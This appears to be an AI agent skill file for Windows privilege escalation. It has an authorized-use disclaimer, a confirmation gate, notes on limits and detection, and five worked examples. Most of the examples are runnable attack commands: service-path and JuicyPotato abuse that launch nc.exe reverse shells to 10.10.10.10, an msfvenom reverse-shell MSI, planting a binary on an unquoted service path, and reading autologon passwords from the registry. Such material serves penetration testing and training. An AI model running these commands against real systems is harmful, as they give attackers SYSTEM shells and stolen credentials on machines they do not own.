Windows Privilege Escalation

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Windows Privilege Escalation

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Limitations

Operational Boundaries

• Kernel exploits may cause system instability
• Some exploits require specific Windows versions
• AV/EDR may detect and block common tools
• Token impersonation requires service account context
• Some techniques require GUI access

Detection Considerations

• Credential dumping triggers security alerts
• Service modification logged in Event Logs
• PowerShell execution may be monitored
• Known exploit signatures detected by AV

Legal Requirements

• Only test systems with written authorization
• Document all escalation attempts
• Avoid disrupting production systems
• Report all findings through proper channels

Examples

Example 1: Service Binary Path Exploitation

# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS

# Check current config
sc qc MyService

# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# Catch shell as SYSTEM

Example 2: AlwaysInstallElevated Exploitation

# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1

# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Catch SYSTEM shell

Example 3: JuicyPotato Token Impersonation

# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled

# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Catch SYSTEM shell

Example 4: Unquoted Service Path

# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe

# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)

# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Restart service
sc stop "Vuln App"
sc start "Vuln App"

Example 5: Credential Harvesting from Registry

# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
